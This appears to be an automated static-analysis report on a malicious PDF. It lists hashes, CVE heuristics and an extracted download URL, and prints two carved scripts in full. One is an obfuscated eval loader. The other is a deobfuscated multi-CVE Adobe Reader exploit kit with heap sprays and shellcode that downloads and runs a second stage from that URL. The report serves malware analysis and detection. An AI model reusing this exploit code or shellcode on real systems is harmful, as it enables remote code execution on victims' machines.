Malicious PDF — malware analysis report

Static analysis result for SHA-256 ea6d8617686f48b4…

MALICIOUS

PDF

4.4 KB First seen: 2026-05-03
MD5: c2506598f12593cf5278d71436ef5c0d SHA-1: 6a9d481051824b838555865df0dce6f736bb8df6 SHA-256: ea6d8617686f48b4f1548358b13d90b0a2ab01e40f35b1f6fcbafbffaeae297a
570 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript and triggers multiple critical heuristics related to known PDF exploits (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992). ClamAV detections further confirm its malicious nature. The embedded JavaScript is likely responsible for executing the exploit, leading to the download or execution of a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Exploit.Agent-36895 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36895
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://wweerr.cz.cc/as/viewforum.php/195d0bde05d9c5c29d1670339464e181?spl=pdf_13 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0014_000.js pdf-javascript-stream PDF /JS object 14 at offset 0xE26 730 bytes
SHA-256: 3eb94a1237847c2fd0f07ee9e5f75fb6496c9d036a1c43a4542506e91250a906
Preview script
First 1,000 lines of the extracted script
cHT=' uXu uXu uXu uXuvuXu1uXu=uXutuXuhuXuiuXusuXu.uXuiuXunuXufuXuouXu.uXuruXuouXuvuXueuXuruXusuXu;uXuvuXu2uXu=uXutuXuhuXuiuXusuXu.uXuiuXunuXufuXuouXu.uXuauXubuXuduXuuuXuluXuauXu;uXuvuXu3uXu=uXuvuXu1uXu+uXuvuXu2uXu;uXuvuXu4uXu=uXu"uXu"uXu;uXufuXuouXuruXu uXu(uXuiuXu=uXu0uXu;uXuiuXu<uXuvuXu3uXu.uXuluXueuXunuXuguXutuXuhuXu;uXuiuXu uXu+uXu=uXu6uXu)uXu{uXu uXu uXu uXuvuXu4uXu uXu+uXu=uXuvuXu3uXu.uXucuXuhuXuauXuruXuAuXutuXu(uXuiuXu)uXu;uXu}uXu uXu uXu uXu uXu uXu uXu uXu uXueuXuvuXuauXuluXu(uXuvuXu4uXu)uXu;uXu'.replace(/uXu/g,"");cNiu=['H','q','O','e','N','K','y','j','L','M','R','v','b','R','e','2','3','k','6','a','S','3','B','Y','l','V','F','e','8','C','9'];tixtb=cNiu[3]+cNiu[11]+cNiu[19]+cNiu[24];        app[tixtb](cHT);
info_stride_js_000.js deobfuscated-js PDF /Info fields via stride 6 4578 bytes
SHA-256: 1905ddfdf05f4c66604a8d45e0eeb411ccad1e5852ac86087ca733412bbc2eb8
Detection
ClamAV: Pdf.Exploit.Agent-35646
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function shcode()
{

sh = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u6577%u7265%u2E72%u7A63%u632E%u2F63%u7361%u762F%u6569%u6677%u726F%u6D75%u702E%u7068%u312F%u3539%u3064%u6462%u3065%u6435%u6339%u6335%u3932%u3164%u3736%u3330%u3933%u3634%u6534%u3831%u3F31%u7073%u3D6C%u6470%u5F66%u3331";
return sh;

}

function nplayer() {
function kzbve()
{
var eobwe="p@111111111111111111111111 : yyyy111";
util.printd(eobwe, new Date());
}

var grizxw=12000;
jucobu=new Array();
var klkng = "%u9090%u9090";
var hwjnalb8=shcode(shcode());
klkng=unescape(klkng);
hwjnalb8=unescape(hwjnalb8);

while(klkng.length <= 0x8000){klkng+=klkng;}
klkng=klkng.substr(0,0x8000 - hwjnalb8.length);
for(fzfwam=0;fzfwam<grizxw;fzfwam++) {jucobu[fzfwam]=klkng + hwjnalb8;}
if(grizxw){kzbve();kzbve();try {this.media.newPlayer(null);} catch(e) {}kzbve();}
}

function printf() {

var payload=unescape(shcode());

var nop ="";
for (iCnt=128;iCnt>=0;--iCnt) nop += unescape("%u9090%u9090%u9090%u9090%u9090");
heapblock = nop + payload;
bigblock = unescape("%u9090%u9090");
headersize = 20;
spray = headersize+heapblock.length;
while (bigblock.length<spray) bigblock+=bigblock;
fillblock = bigblock.substring(0, spray);
block = bigblock.substring(0, bigblock.length-spray);
while(block.length+spray < 0x40000) block = block+block+fillblock;
mem = new Array();
for (i=0;i<1400;i++) mem[i] = block + heapblock;

var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
util.printf("%45000f",num);
}

function geticon() {

var shellcode=unescape(shcode());

garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090") + shellcode;
nopblock = unescape("%u9090%u9090"); 
headersize = 10;
acl = headersize+garbage.length;
while (nopblock.length<acl) nopblock+=nopblock;
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<180;i++) memory[i] = block + garbage;
var buffersize = 4012;
var buffer = Array(buffersize);
for (i=0; i<buffersize; i++)
{
buffer[i] = unescape("%0a%0a%0a%0a");
}

Collab.getIcon(buffer+"_N.bundle");
}

function collab() {

function fix_it(yarsp,len) {
while(yarsp.length*2<len) { yarsp+=yarsp; }
yarsp=yarsp.substring(0,len/2);
return yarsp; }
var shellcode=unescape(shcode());
var mem_array=new Array();
var cc=0x0c0c0c0c;
var addr=0x400000;
var sc_len=shellcode.length*2;
var len=addr-(sc_len+0x38);
var yarsp=unescape("%u9090%u9090");
yarsp=fix_it(yarsp,len);
var count2=(cc-0x400000)/addr;
for(var count=0;count<count2;count++) {mem_array[count]=yarsp+shellcode; }
var overflow=unescape("%u0c0c%u0c0c");
while(overflow.length<44952) {overflow+=overflow; }
this.collabStore=Collab.collectEmailInfo( { subj:"",msg:overflow } ); 

}

aPlugins = app.plugIns;
var sv=parseInt(app.viewerVersion.toString().charAt(0));
for (var i=0; i < aPlugins.length; i++)
  {
    if (aPlugins[i].name=="EScript")
      {
        var lv=aPlugins[i].version;
      }
  }  
if ((lv==9)||((sv==8)&&(lv<=8.12)))
  {
    geticon();
  }
else if (lv==7.1)
  {
    printf();
  }
else if (((sv==6)||(sv==7))&&(lv<7.11))
  {
    collab();
  }
else if ((lv >= 9.1) || (lv <= 9.2) || (lv >= 8.13) || (lv <= 8.17))
  {
        nplayer();
  }